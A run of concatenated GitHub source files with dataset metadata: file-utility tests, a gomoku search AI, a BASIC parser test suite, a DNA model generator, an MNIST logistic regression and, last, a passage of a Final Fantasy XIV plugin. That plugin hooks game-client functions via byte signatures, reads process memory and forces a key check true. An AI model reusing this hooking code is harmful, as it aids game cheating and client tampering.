gen_file_tree(dir_path, depths=1)\n    await rm(LocalFS(), dir_path, recursive=True)\n    assert not dir_path.exists()\n\n\nasync def test_rm_not_exists(\n    src_dir: Path,\n) -> None:\n    file_path = src_dir / \"file\"\n    with pytest.raises(FileNotFoundError) as e:\n        await rm(LocalFS(), file_path, recursive=False)\n    assert e.value.args[0] == errno.ENOENT\n\n\nasync def test_rm_dir_not_recursive(\n    src_dir: Path,\n) -> None:\n    dir_path = src_dir / \"sub_dir\"\n    dir_path.mkdir()\n    with pytest.raises(IsADirectoryError) as e:\n        await rm(LocalFS(), dir_path, recursive=False)\n    assert e.value.args[0] == errno.EISDIR\n","repo_name":"neuro-inc/neuro-cli","sub_path":"neuro-sdk/tests/test_file_utils.py","file_name":"test_file_utils.py","file_ext":"py","file_size_in_byte":16161,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"35"}
{"seq_id":"25426835629","text":"from data_structure import *\nfrom network_evaluation import evaluator\n\n\ndef evaluate_one(cbmap, nag=-1):\n    count_value = [0, 1, 10, 100, 10000, 1e7, -1e7, -100000, -1000, -10, -1]\n    value = 0\n    # 行\n    for i in range(15):\n        start = 0\n        count = 0\n        for end in range(15):\n            if cbmap[i][end] == nag:  # 遇到黑棋\n                start = end + 1\n                count = 0\n            else:\n                count += cbmap[i][end]\n                dis = end - start\n                if dis > 4:\n                    count -= cbmap[i][start]\n                    start += 1\n                    dis -= 1\n                if dis == 4:\n                    value += count_value[count]\n\n    # 列\n    for i in range(15):\n        start = 0\n        count = 0\n        for end in range(15):\n            if cbmap[end][i] == nag:  # 遇到黑棋\n                start = end + 1\n                count = 0\n            else:\n                count += cbmap[end][i]\n                dis = end - start\n                if dis > 4:\n                    count -= cbmap[start][i]\n                    start += 1\n                    dis -= 1\n                if dis == 4:\n                    value += count_value[count]\n    # 斜↘\n    for i in range(11):\n        start = 0\n        count = 0\n        for end in range(15 - i):\n            if cbmap[i + end][end] == nag:  # 遇到黑棋\n                start = end + 1\n                count = 0\n            else:\n                count += cbmap[i + end][end]\n                dis = end - start\n                if dis > 4:\n                    count -= cbmap[i + start][start]\n                    start += 1\n                    dis -= 1\n                if dis == 4:\n                    value += count_value[count]\n    for i in range(1, 11):\n        start = 0\n        count = 0\n        for end in range(15 - i):\n            if cbmap[end][i + end] == nag:  # 遇到黑棋\n                start = end + 1\n                count = 0\n            else:\n                count += cbmap[end][i + end]\n                dis = end - start\n                if dis > 4:\n                    count -= cbmap[start][i + start]\n                    start += 1\n                    dis -= 1\n                if dis == 4:\n                    value += count_value[count]\n\n    # 斜↗\n    for i in range(4, 15):\n        start = 0\n        count = 0\n        for end in range(i + 1):\n            if cbmap[i - end][end] == nag:  # 遇到黑棋\n                start = end + 1\n                count = 0\n            else:\n                count += cbmap[i - end][end]\n                dis = end - start\n                if dis > 4:\n                    count -= cbmap[i - start][start]\n                    start += 1\n                    dis -= 1\n                if dis == 4:\n                    value += count_value[count]\n    for i in range(1, 11):\n        start = 0\n        count = 0\n        for end in range(15 - i):\n            if cbmap[14 - end][i + end] == nag:  # 遇到黑棋\n                start = end + 1\n                count = 0\n            else:\n                count += cbmap[14 - end][i + end]\n                dis = end - start\n                if dis > 4:\n                    count -= cbmap[14 - start][i + start]\n                    start += 1\n                    dis -= 1\n                if dis == 4:\n                    value += count_value[count]\n    return value\n\n\n# def evaluate(cbmap):\n#     return evaluate_one(cbmap) + evaluate_one(cbmap, 1)\n\ndef evaluate(cbmap):\n    if not hasattr(evaluate, 'eva'):\n        evaluate.eva = evaluator()\n    return evaluate.eva.evaluate(cbmap)\n\ndef create_cbmap(coords=None):\n    cbmap = [[0 for i in range(15)] for i in range(15)]\n    if coords is None:\n        return cbmap\n    for coord in coords:\n        x, y = coord['coord']\n        cbmap[x][y] = 1 if coord['type'] == 1 else -1\n    return cbmap\n\n\ndef check_neighbor(cbmap, i, j, dis):\n    pos = []\n    if dis == 1:\n        pos = [(1, 1), (1, 0), (1, -1), (0, -1), (-1, -1), (-1, 0), (-1, 1), (0, 1)]\n    if dis == 2:\n        pos = [(2, 2), (2, 1), (2, 0), (2, -1), (2, -2), (1, -2), (0, -2), (-1, -2), (-2, -2),\n               (-2, -1), (-2, 0), (-2, 1), (-2, 2), (-1, 2), (0, 2), (1, 2)]\n    for x, y in pos:\n        pos_x = i + x\n        pos_y = j + y\n        if 0 <= pos_x <= 14 and 0 <= pos_y <=14 and (cbmap[pos_x][pos_y] == 1 or cbmap[pos_x][pos_y] == -1):\n            return True\n    return False\n\n\ndef get_drop_list(cbmap):\n    drops = []\n    drops_far = []\n    for i in range(15):\n        for j in range(15):\n            if cbmap[i][j] == 0:\n                if check_neighbor(cbmap, i, j, 1):\n                    drops.append({\"x\": i, \"y\": j})\n                elif check_neighbor(cbmap, i, j, 2):\n                    drops_far.append({\"x\": i, \"y\": j})\n    drops.extend(drops_far)\n    return drops\n\n\ndef min_search(cbmap, depth, alpha, beta):\n    if depth == 0:\n        return evaluate(cbmap), 0, 0\n    best = 1e10\n    x, y = 0, 0\n\n    drops = get_drop_list(cbmap)\n    for drop in drops:\n        i = drop['x']\n        j = drop['y']\n        cbmap[i][j] = -1\n        value, a, b = max_search(cbmap, depth - 1, best if best < alpha else alpha, beta)\n        cbmap[i][j] = 0\n        if value < best:\n            best = value\n            x, y = i, j\n        if value < beta:\n            break\n\n    return best, x, y\n\n\ndef max_search(cbmap, depth, alpha, beta):\n    if depth == 0:\n        return evaluate(cbmap), 0, 0\n    best = -1e10\n    x, y = 0, 0\n\n    drops = get_drop_list(cbmap)\n    for drop in drops:\n        i = drop['x']\n        j = drop['y']\n        cbmap[i][j] = 1\n        value, a, b = min_search(cbmap, depth - 1, alpha, best if best > beta else beta)\n        cbmap[i][j] = 0\n        if value > best:\n            best = value\n            x, y = i, j\n        if value > alpha:\n            break\n\n    return best, x, y\n\n\ndef main():\n    return 0\n\n\nmain()\n","repo_name":"lvyitian/gobangAI","sub_path":"game_tree.py","file_name":"game_tree.py","file_ext":"py","file_size_in_byte":5890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29105168615","text":"aluno = {'nome': str, 'media': float, 'situacao': str}\n\naluno['nome'] = input(\"\\nNome: \")\naluno['media'] = float(input(f'Média de {aluno[\"nome\"]}: '))\n\nif aluno['media'] >= 7:\n    aluno['situacao'] = 'Aprovado'\n\nelif aluno['media'] >= 5:\n    aluno['situacao'] = 'Recuperação'\n\nelse:\n    aluno['situacao'] = 'Reprovado'\n\nprint('', '-=' * 25)\n\nfor k, v in aluno.items():\n    print(f'  - {k} é igual a {v}')\n\nprint()","repo_name":"henrique-tavares/Coisas","sub_path":"Python/Mundo 3/ex090.py","file_name":"ex090.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"16201453849","text":"#!/usr/bin/env python\n# encoding:utf8\n\n\"\"\"\n    unittests for BASIC parser\n    ==========================\n\n    :created: 2014 by Jens Diemer - www.jensdiemer.de\n    :copyleft: 2014 by the DragonPy team, see AUTHORS for more details.\n    :license: GNU GPL v3 or above, see LICENSE for more details.\n\"\"\"\n\nfrom __future__ import absolute_import, division, print_function\n\n\nimport logging\nimport sys\nimport unittest\n\nfrom dragonlib.core.basic_parser import BASICParser\n\n\nlog = logging.getLogger(__name__)\n\n\nclass TestBASICParser(unittest.TestCase):\n    def setUp(self):\n        self.parser = BASICParser()\n\n    def assertParser(self, ascii_listing, reference, print_parsed_lines=False):\n        '''\n        parse the given ASCII Listing and compare it with the reference.\n\n        Used a speacial representation of the parser result for a human\n        readable compare. Force using of \"\"\"...\"\"\" to supress escaping apostrophe\n        '''\n        parsed_lines = self.parser.parse(ascii_listing)\n\n        string_dict = {}\n        for line_no, code_objects in list(parsed_lines.items()):\n            string_dict[line_no] = [repr(code_object) for code_object in code_objects]\n\n        if print_parsed_lines:\n            print(\"-\" * 79)\n            print(\"parsed lines:\", parsed_lines)\n            print(\"-\" * 79)\n            print(\"reference:\", reference)\n            print(\"-\" * 79)\n\n        self.assertEqual(string_dict, reference)\n\n    def test_only_code(self):\n        ascii_listing = \"\"\"\n            10 CLS\n            20 PRINT\n        \"\"\"\n        self.assertParser(ascii_listing,\n            {\n                10: [\n                    \"\"\"<CODE:CLS>\"\"\",\n                ],\n                20: [\n                    \"\"\"<CODE:PRINT>\"\"\",\n                ],\n            },\n            #             print_parsed_lines=True\n        )\n\n    def test_string(self):\n        ascii_listing = '10 A$=\"A STRING\"'\n        self.assertParser(ascii_listing,\n            {\n                10: [\n                    \"\"\"<CODE:A$=>\"\"\",\n                    \"\"\"<STRING:\"A STRING\">\"\"\",\n                ],\n            },\n            #             print_parsed_lines=True\n        )\n\n    def test_strings(self):\n        ascii_listing = \"\"\"\n            10 A$=\"1\":B=2:C$=\"4\":CLS:PRINT \"ONLY CODE\"\n        \"\"\"\n        self.assertParser(ascii_listing,\n            {\n                10: [\n                    \"\"\"<CODE:A$=>\"\"\",\n                    \"\"\"<STRING:\"1\">\"\"\",\n                    \"\"\"<CODE::B=2:C$=>\"\"\",\n                    \"\"\"<STRING:\"4\">\"\"\",\n                    \"\"\"<CODE::CLS:PRINT >\"\"\",\n                    \"\"\"<STRING:\"ONLY CODE\">\"\"\",\n                ],\n            },\n            #             print_parsed_lines=True\n        )\n\n    def test_string_and_comment(self):\n        ascii_listing = \"\"\"\n            10 A$=\"NO :'REM\" ' BUT HERE!\n        \"\"\"\n        self.assertParser(ascii_listing,\n            {\n                10: [\n                    \"\"\"<CODE:A$=>\"\"\",\n                    \"\"\"<STRING:\"NO :'REM\">\"\"\",\n                    \"\"\"<CODE: '>\"\"\",\n                    \"\"\"<COMMENT: BUT HERE!>\"\"\",\n                ],\n            },\n            #             print_parsed_lines=True\n        )\n\n    def test_string_not_terminated(self):\n        ascii_listing = \"\"\"\n            10 PRINT \"NOT TERMINATED STRING\n        \"\"\"\n        self.assertParser(ascii_listing,\n            {\n                10: [\n                    \"\"\"<CODE:PRINT >\"\"\",\n                    \"\"\"<STRING:\"NOT TERMINATED STRING>\"\"\",\n                ],\n            },\n            #             print_parsed_lines=True\n        )\n\n    def test_data(self):\n        ascii_listing = \"\"\"\n            10 DATA 1,2,A,FOO\n        \"\"\"\n        self.assertParser(ascii_listing,\n            {\n                10: [\n                    \"\"\"<CODE:DATA>\"\"\",\n                    \"\"\"<DATA: 1,2,A,FOO>\"\"\",\n                ],\n            },\n            #             print_parsed_lines=True\n        )\n\n    def test_data_with_string1(self):\n        ascii_listing = \"\"\"\n            10 DATA 1,2,\"A\",\"FOO BAR\",4,5\n        \"\"\"\n        self.assertParser(ascii_listing,\n            {\n                10: [\n                    \"\"\"<CODE:DATA>\"\"\",\n                    \"\"\"<DATA: 1,2,\"A\",\"FOO BAR\",4,5>\"\"\",\n                ],\n            },\n            #             print_parsed_lines=True\n        )\n\n    def test_data_string_colon(self):\n        ascii_listing = \"\"\"\n            10 DATA \"FOO : BAR\"\n        \"\"\"\n        self.assertParser(ascii_listing,\n            {\n                10: [\n                    \"\"\"<CODE:DATA>\"\"\",\n                    \"\"\"<DATA: \"FOO : BAR\">\"\"\",\n                ],\n            },\n            #             print_parsed_lines=True\n        )\n\n    def test_code_after_data(self):\n        ascii_listing = \"\"\"\n            10 DATA \"FOO : BAR\":PRINT 123\n        \"\"\"\n        self.assertParser(ascii_listing,\n            {\n                10: [\n                    \"\"\"<CODE:DATA>\"\"\",\n                    \"\"\"<DATA: \"FOO : BAR\">\"\"\",\n                    \"\"\"<CODE::PRINT 123>\"\"\",\n                ],\n            },\n            #             print_parsed_lines=True\n        )\n\n    def test_comment(self):\n        ascii_listing = \"\"\"\n            10 REM A COMMENT\n        \"\"\"\n        self.assertParser(ascii_listing,\n            {\n                10: [\n                    \"\"\"<CODE:REM>\"\"\",\n                    \"\"\"<COMMENT: A COMMENT>\"\"\",\n                ],\n            },\n            #             print_parsed_lines=True\n        )\n\n    def test_nothing_after_comment1(self):\n        ascii_listing = \"\"\"\n            10 REM\n        \"\"\"\n        self.assertParser(ascii_listing,\n            {\n                10: [\n                    \"\"\"<CODE:REM>\"\"\",\n                ],\n            },\n            #             print_parsed_lines=True\n        )\n\n    def test_nothing_after_comment2(self):\n        ascii_listing = \"\"\"\n            10 '\n        \"\"\"\n        self.assertParser(ascii_listing,\n            {\n                10: [\n                    \"\"\"<CODE:'>\"\"\",\n                ],\n            },\n            #             print_parsed_lines=True\n        )\n\n    def test_no_code_after_comment(self):\n        ascii_listing = \"\"\"\n            10 REM FOR \"FOO : BAR\":PRINT 123\n        \"\"\"\n        self.assertParser(ascii_listing,\n            {\n                10: [\n                    \"\"\"<CODE:REM>\"\"\",\n                    \"\"\"<COMMENT: FOR \"FOO : BAR\":PRINT 123>\"\"\",\n                ],\n            },\n            #             print_parsed_lines=True\n        )\n\n    def test_comment2(self):\n        ascii_listing = \"\"\"\n            10 A=2 ' FOR \"FOO : BAR\":PRINT 123\n        \"\"\"\n        self.assertParser(ascii_listing,\n            {\n                10: [\n                    \"\"\"<CODE:A=2 '>\"\"\",\n                    \"\"\"<COMMENT: FOR \"FOO : BAR\":PRINT 123>\"\"\",\n                ],\n            },\n            #             print_parsed_lines=True\n        )\n\n    def test_no_comment(self):\n        ascii_listing = \"\"\"\n            10 B$=\"'\"\n        \"\"\"\n        self.assertParser(ascii_listing,\n            {\n                10: [\n                    \"\"\"<CODE:B$=>\"\"\",\n                    \"\"\"<STRING:\"'\">\"\"\",\n                ],\n            },\n            #             print_parsed_lines=True\n        )\n\n    def test_spaces_after_line_no(self):\n        ascii_listing = \"\"\"\n            10 FOR I=1 TO 3:\n            20     PRINT I\n            30 NEXT\n        \"\"\"\n        self.assertParser(ascii_listing,\n            {\n                10: [\n                    \"\"\"<CODE:FOR I=1 TO 3:>\"\"\",\n                ],\n                20: [\n                    \"\"\"<CODE:    PRINT I>\"\"\",\n                ],\n                30: [\n                    \"\"\"<CODE:NEXT>\"\"\",\n                ],\n            },\n#             print_parsed_lines=True\n        )\n\n\nif __name__ == \"__main__\":\n    from dragonlib.utils.logging_utils import setup_logging\n\n    setup_logging(\n#         level=1 # hardcore debug ;)\n#         level=10  # DEBUG\n#         level=20  # INFO\n#         level=30  # WARNING\n#         level=40 # ERROR\n        level=50 # CRITICAL/FATAL\n    )\n\n    unittest.main(\n        argv=(\n            sys.argv[0],\n#             \"TestBASICParser.test_spaces_after_line_no\",\n        ),\n        #         verbosity=1,\n        verbosity=2,\n        #         failfast=True,\n    )\n    print(\" --- END --- \")\n","repo_name":"6809/dragonlib","sub_path":"dragonlib/tests/test_basic_parser.py","file_name":"test_basic_parser.py","file_ext":"py","file_size_in_byte":8282,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"35"}
{"seq_id":"8070132492","text":"import sys\nimport numpy as np\n\"\"\"\nCODE FOR MAKING FORT.5 FILE FOR DNA\nFOLLOWS: J. Chem. Phys. 139, 144903 (2013)\n\"\"\"\n#NEW GEOMETRY\nNEW=True\n\n#SEQUENCE ATGC\nl=sys.argv[1]\n\n#NUMBER OF NUCLEOTIDES\nN_nuc=len(l)\n\n#THE DIFFERENT NUCLEOTIDES\nnames=['A','T','G','C']\n\n\n#SIZE OF BOX IN NM\nL=float(sys.argv[2])\n\n#OPTION FOR COMPLEMENTARY STRAND\ncomp=bool(int(sys.argv[3]))\nsign=1.\nif(comp):\n    sign=-1.\n\nif(NEW):\n    #OPTION FOR HINCKLEY\n\n\n    #RADI\n    #BACKBONE\n    rP=0.8918 \n    rS=0.6981 \n\n    #NUCLEOTIDES,\n    rA=0.2506\n    rT=0.3418 \n    rG=0.2297\n    rC=0.3336\n\n    rN=[rA,rT,rG,rC] \n\n    #ANGLE\n    thetaP=94.035*np.pi/180. \n    thetaS=70.196*np.pi/180.\n\n    thetaA=83.207*np.pi/180. \n    thetaT=93.327*np.pi/180. \n    thetaG=76.349*np.pi/180. \n    thetaC=78.192*np.pi/180. \n    thetaN=[thetaA,thetaT,thetaG,thetaC]\n\n    #\n    zP=0.2186 \n    zS=0.1280 \n    \n    zA=0.0204\n    zT=0.0191 \n    zG=0.0186 \n    zC=0.0264 \n    zN=[zA,zT,zG,zC]\n\nelse:\n    #BACKBONE\n    rP=0.8918 \n    rS=0.6981 \n\n    #NUCLEOTIDES, THIS LOOKS WRONG\n    rA=0.0773 \n    rT=0.2349 \n    rC=0.2296 \n    rG=0.0828 \n    rN=[rA,rT,rG,rC] \n\n\n    thetaP=94.038*np.pi/180. \n    thetaS=70.197*np.pi/180.\n\n    thetaA=41.905*np.pi/180. \n    thetaT=86.119*np.pi/180. \n    thetaC=85.027*np.pi/180. \n    thetaG=40.691*np.pi/180. \n    thetaN=[thetaA,thetaT,thetaG,thetaC]\n\n    zP=0.2186 \n    zS=0.1280 \n    \n    zA=0.0051 \n    zT=0.0191 \n    zC=0.0187 \n    zG=0.0053 \n    zN=[zA,zT,zG,zC]\n\nz0=1\ntheta0=0\n\n\nlines=[]\nlines.append('box:\\n')\n\nlines.append('%f %f %f\\n'%(L,L,L))\nlines.append('0.00\\n')\nlines.append('Number of molecules:\\n')\nlines.append('1\\n')\nlines.append('mol nr. 1\\n')\nlines.append('%d \\n'%(N_nuc*3+1))\n\n\ntheta0=0.\nz0=0\n#theta0=theta+np.pi*36./180.\n\nz0=z0+0.338\nif(comp):\n    z0=(N_nuc+2)*0.338+zP-0.1937712#+0.557\n\n#rP=np.array([1,1,1])\nlines.append(\"1 P 1 1 %.3f %.3f %.3f 0.000 0.000 0.000 2 0 0 0 0 0\\n\"%(0.5*L+rP*np.cos(theta0+thetaP),0.5*L+sign*rP*np.sin(theta0+thetaP),z0+sign*zP))\nfor i in range(N_nuc):\n    theta0=theta0+np.pi*36./180.\n    z0=z0+sign*0.338\n\n    lines.append(\"%d S 2 3 %.3f %.3f %.3f %.3f %.3f %.3f %d %d %d 0 0 0\\n\"%(i*3+2,0.5*L+rS*np.cos(theta0+thetaS),0.5*L+sign*rS*np.sin(theta0+thetaS),z0+sign*zS,0,0,0,3*i+1,3*i+3,3*i+4))\n    \n    ncl=l[i] \n    idx=names.index(ncl)+3\n   # rN=rS+drN[names.index(ncl)]\n    id_nuc=names.index(ncl)\n    lines.append(\"%d %s %d 1 %.3f %.3f %.3f %.3f %.3f %.3f %d %d %d 0 0 0\\n\"%(i*3+3,ncl,idx,0.5*L+rN[id_nuc]*np.cos(theta0+thetaN[id_nuc]),0.5*L+sign*rN[id_nuc]*np.sin(theta0+thetaN[id_nuc]),z0+sign*zN[id_nuc],0,0,0,3*i+2,0,0))\n    # print(i*3+3,\"N\",3,1,x,y,zn,3*i+2,0,0)\n    if(i==N_nuc-1):\n        lines.append(\"%d P 1 1 %.3f %.3f %.3f %.3f %.3f %.3f %d %d %d 0 0 0\\n\"%(3*i+4,0.5*L+rP*np.cos(theta0+thetaP),0.5*L+rP*np.sin(theta0+thetaP),z0+sign*zP,0,0,0,i*3+2,0,0))\n    else:\n        lines.append(\"%d P 1 2 %.3f %.3f %.3f %.3f %.3f %.3f %d %d %d 0 0 0\\n\"%(3*i+4,0.5*L+rP*np.cos(theta0+thetaP),0.5*L+sign*rP*np.sin(theta0+thetaP),z0+sign*zP,0,0,0,i*3+2, i*3+5,0))\n\n\nfp=open('fort.5','w')\nfor l in lines:\n    fp.write(l)\n\nfp.close()\n","repo_name":"sigbjobo/DNA_Hybrid_particle_field","sub_path":"OCCAM_AUX/python/make_fort5_old2.py","file_name":"make_fort5_old2.py","file_ext":"py","file_size_in_byte":3068,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"25839422453","text":"# Logistic Regression with Prior.\n\n# ============= Imports =============\nfrom Numpy_and_mnist.data.data import *\nimport autograd.numpy as np\nfrom autograd.scipy.misc import logsumexp\nfrom tqdm import tqdm\n\n# ============= Data =============\nN_data, train_images, train_labels, test_images, test_labels = load_mnist()\ntrain_digits = train_images[:1000]\ntrain_labels = train_labels[:1000]\ntest_digits = test_images[:100]\ntest_labels= test_labels[:100]\n\n# ============= Code =============\n\ndef gradient(theta, inputs, labels):\n    probabilities = np.exp(logprobabilities(theta, inputs))\n    repor = labels - probabilities\n    return (np.dot(repor.T, inputs))\n\ndef predicted_ratio(theta, inputs, classes):\n    pred_true = np.argmax(logprobabilities(theta, inputs), axis=1)\n    rate = sum(np.array(classes == pred_true, dtype=int))/pred_true.shape[0]\n    return rate\n\ndef logprobabilities(theta, inputs, use_prior=False):\n    sigma_squared = 1e2\n    probability = np.dot(inputs, theta.T)\n    prior = 0.0 if not use_prior else np.sum(np.square(theta)/(2*sigma_squared))\n    return probability-logsumexp(probability, axis=1, keepdims=True)-prior\n\ndef class_labels(labels):\n    return np.argmax(labels, axis=1)\n\ndef main():\n    inputs, labels = np.array(train_digits), np.array(train_labels)\n    theta = np.zeros((10, 784), dtype=np.float32)\n    loglikelihoods, ratios = [], []\n    optimal_i, optimal_thetas = None, None\n\n    for i in tqdm(range(1000)):\n        theta += 0.1 * gradient(theta, inputs, labels)\n        ratios.append(predicted_ratio(theta, inputs, class_labels(train_labels)))\n        lgl = -np.sum(logprobabilities(theta, inputs, False) * labels)\n        loglikelihoods.append(lgl)\n        if max(loglikelihoods) == lgl:\n            optimal_i, optimal_thetas = i, theta\n\n    for idx, (x, y) in enumerate([(train_digits, train_labels), (test_digits, test_labels)]):\n        procedure = ['Train', 'Test'][idx]\n        lgl = np.sum(logprobabilities(optimal_thetas, x) * y)\n        print('{} Accuracy is at {}'.format(procedure, predicted_ratio(optimal_thetas, x, class_labels(y))))\n        print('{} Average predictive log-likelihood :{}'.format(procedure, lgl/x.shape[0]))\n        save_images(optimal_thetas, \"weights.png\")\nif __name__ == '__main__':\n    main()\n","repo_name":"phileasme/simple-probabilistic-models","sub_path":"np_logistic_reg_with_prior.py","file_name":"np_logistic_reg_with_prior.py","file_ext":"py","file_size_in_byte":2267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"37388539447","text":"import math\nimport traceback\n\nfrom FFxivPythonTrigger import *\nfrom FFxivPythonTrigger.hook import PluginHook\nfrom FFxivPythonTrigger.memory import *\nfrom FFxivPythonTrigger.saint_coinach import action_names, realm\nfrom FFxivPythonTrigger.memory.struct_factory import OffsetStruct\nfrom FFxivPythonTrigger.text_pattern import search_from_text, find_signature_point, find_signature_address\nfrom FFxivPythonTrigger.utils import err_catch\nfrom FFxivPythonTrigger.game_utils.std_string import StdString\nfrom XivMemory import se_string\nfrom OmenReflect.utils import action_struct\n\nmap_sheet = realm.game_data.get_sheet('Map')\n\n\ndef web_to_map(pos):\n    c = map_sheet[plugins.XivMemory.map_id]['SizeFactor'] / 100\n    return (41.0 / c * ((pos * c / 1000 + 1024.0) / 2048.0)) + 1.0\n\n\ndef web_to_raw(pos):\n    return pos * 0.0305 - 1000\n\n\ndef raw_to_web(pos):\n    return (pos + 1000) / 0.0305\n\n\ndef map_to_web(pos):\n    c = map_sheet[plugins.XivMemory.map_id]['SizeFactor'] / 100\n    return int(((pos - 1) * c / 41 * 2048 - 1024) / c)\n\n\ndef find_ptr_end(ptr):\n    i = 0\n    while ptr[i] != 0:\n        i += 1\n    return i\n\n\nclass TestHook(PluginBase):\n    name = \"test_hook\"\n\n    def __init__(self):\n        super().__init__()\n        self.cnt = 0\n        self.d = set()\n        # self.sub_1405D5A30(self, BASE_ADDR + 0x5D5A30)\n        # self.omen_create(self, BASE_ADDR + 0x6FF1C0)\n        # self.action_recast(self, BASE_ADDR + 0x07DE990)\n        # self.sub_1416014C0(self, BASE_ADDR + 0x16014C0)\n        # self.sub_140A41260(self, BASE_ADDR + 0xA41260)\n        # self.set_omen_create(self, BASE_ADDR + 0x6F9C60)\n        # for offset, _ in search_from_text(\"48 89 5C 24 ? 48 89 6C 24 ? 57 48 83 EC ? 48 63 C2 48 8B D9\"):\n        #     self.is_key_trigger(self, offset + BASE_ADDR)\n        # self.facing_hook(self, BASE_ADDR + find_signature_point(\"E8 * * * * 80 3D ? ? ? ? ? 0F 28 F0\"))\n        # self.macro_concat(self, BASE_ADDR + find_signature_address(\n        #     \"40 53 55 57 48 81 EC ? ? ? ? 48 8B 05 ? ? ? ? 48 33 C4 48 89 84 24 ? ? ? ? 49 8B D8\"\n        # ))\n        # self.macro_parse_hook(self, BASE_ADDR + find_signature_address(\n        #     \"40 55 53 56 48 8B EC 48 83 EC ? 48 8B 05 ? ? ? ? 48 33 C4 48 89 45 ? 48 8B F1\"\n        # ))\n        #\n        # self.print_msg_hook(self, BASE_ADDR + find_signature_address(\n        #     \"40 55 53 56 41 54 41 57 48 8D AC 24 ?? ?? ?? ?? 48 81 EC 20 02 00 00 48 8B 05\"\n        # ))\n        # self.b_channel_hook(self, BASE_ADDR + find_signature_address(\n        #     \"48 89 5C 24 ? 48 89 74 24 ? 57 48 83 EC ? 40 32 F6 32 DB\"\n        # ))\n        # self.interact_hook(self, BASE_ADDR + find_signature_address(\n        #     \"4C 8B DC 49 89 5B ? 49 89 6B ? 49 89 73 ? 57 41 54 41 55 41 56 41 57 48 83 EC ? 0F B6 B1 ? ? ? ?\"\n        # ))\n        # h=self.mo_ui_entity(self, BASE_ADDR + find_signature_point(\"E8 * * * * 48 8B ? ? ? 48 8B ? ? ? 4C 8B ? ? ? 41 83 FC\"))\n        # self.logger(hex(h.address))\n        self.cnt_down_hook(self, BASE_ADDR + find_signature_point(\n            \"E8 * * * * 48 8B CB E8 ? ? ? ? 83 7B ? ? 74 ? 48 8B 4B ? 48 8B 01 FF 90 ? ? ? ?\"\n        ))\n\n    @PluginHook.decorator(c_int64, [c_int64, c_uint, c_uint, POINTER(c_ushort), c_float, c_int], True)\n    def set_omen_create(self, hook, source_actor_ptr, skill_type, action_id, pos, facing, a6):\n        \"\"\"E8 ? ? ? ? 41 80 7E ? ? 0F 85 ? ? ? ? F3 0F 10 1D ? ? ? ?\"\"\"\n        self.logger(f\"{source_actor_ptr:x} {skill_type} {action_id} {pos} {facing} {a6}\")\n        return hook.original(source_actor_ptr, skill_type, action_id, pos, facing, a6)\n\n    \"\"\"__int64 __fastcall sub_1406FF1C0(__int64 source_actor_ptr, unsigned __int16 *web_pos, float a3, __int64 action_data, float a5, unsigned int a6)\"\"\"\n\n    @PluginHook.decorator(c_int64, [c_int64, POINTER(c_ushort), c_float, POINTER(action_struct), c_float, c_uint], True)\n    def omen_create(self, hook, source_actor_ptr, web_pos, facing, action_data, a5, a6):\n        if read_uint(source_actor_ptr + 0x74) > 0x20000000 and action_data[0].omen:\n            self.logger(f\"c1 {read_string(source_actor_ptr + 0x30)} {source_actor_ptr:x}\"\n                        f\" ({web_to_raw(web_pos[0]):.2f},{web_to_raw(web_pos[2]):.2f},{web_to_raw(web_pos[1]):.2f})\"\n                        f\" {facing:.2f} {action_data[0]}\")\n        return hook.original(source_actor_ptr, web_pos, facing, action_data, a5, a6)\n\n    # _QWORD *__fastcall sub_1407DE990(int a1, __int64 a2, __int64 a3, __int64 a4)\n    @PluginHook.decorator(c_int, [c_int, c_int64, c_int64, c_int64], True)\n    def action_recast(self, hook, a1, a2, a3, a4):\n        self.cnt += 1\n        if self.cnt >= 10:\n            hook.uninstall()\n        ans = hook.original(a1, a2, a3, a4)\n        self.logger(f\"{ans} {a1} {a2:x} {a3:x} {a4:x}\")\n        return ans\n\n    \"\"\"char __fastcall sub_1404BC6B0(__int64 a1, int a2)\"\"\"\n\n    @PluginHook.decorator(c_bool, [c_int64, c_uint], True)\n    def is_key_trigger(self, hook, a1, a2):\n        if a2 == 321:\n            return True\n        return hook.original(a1, a2)\n\n    \"\"\"float __fastcall sub_14115B800(__int64 a1)\"\"\"\n\n    @PluginHook.decorator(c_float, [c_int64], True)\n    def facing_hook(self, hook, a1):\n        self.logger(f\"{a1:x}\")\n        hook.uninstall()\n        return hook.original(a1)\n\n    \"\"\"__int64 __fastcall sub_1406325E0(__int64 a1, __int64 a2, __int64 a3, char a4, unsigned __int16 a5)\"\"\"\n    \"\"\"40 53 55 57 48 81 EC ? ? ? ? 48 8B 05 ? ? ? ? 48 33 C4 48 89 84 24 ? ? ? ? 49 8B D8\"\"\"\n\n    @PluginHook.decorator(c_int64, [c_int64, c_int64, c_int64, c_char, c_ushort], True)\n    def macro_concat(self, hook, a1, a2, a3, a4, a5):\n        orig = read_string(read_ulonglong(a1 + 136))\n        res = hook.original(a1, a2, a3, a4, a5)\n        new = read_string(read_ulonglong(a1 + 136))\n        self.logger(f\"{a1:x} {a2:x} {a3:x} {a4} {a5}\\n{orig}\\n{new}\")\n        return res\n\n    \"\"\"40 55 53 56 48 8B EC 48 83 EC ? 48 8B 05 ? ? ? ? 48 33 C4 48 89 45 ? 48 8B F1\"\"\"\n\n    @PluginHook.decorator(c_int64, [c_int64, POINTER(c_int64)], True)\n    def macro_parse_hook(self, hook, a1, a2):\n        raw = read_memory(c_char * 50, a2[0]).value\n        res = hook.original(a1, a2)\n        self.logger(raw, read_memory(c_char * 50, a2[0]).value, read_string(read_ulonglong(a1 + 136)), hex(res))\n        return res\n\n    # __int64 __fastcall print_msg_hook(__int64 manager, unsigned __int16 channel_id, __int64 p_sender, __int64 p_msg, int sender_id, char parm)\n    # 40 55 53 56 41 54 41 57 48 8D AC 24 ?? ?? ?? ?? 48 81 EC 20 02 00 00 48 8B 05\n    @PluginHook.decorator(c_int64, [c_int64, c_ushort, POINTER(c_char_p), POINTER(c_char_p), c_uint, c_ubyte], True)\n    def print_msg_hook(self, hook, manager, channel_id, p_sender, p_msg, sender_id, parm):\n        try:\n            from 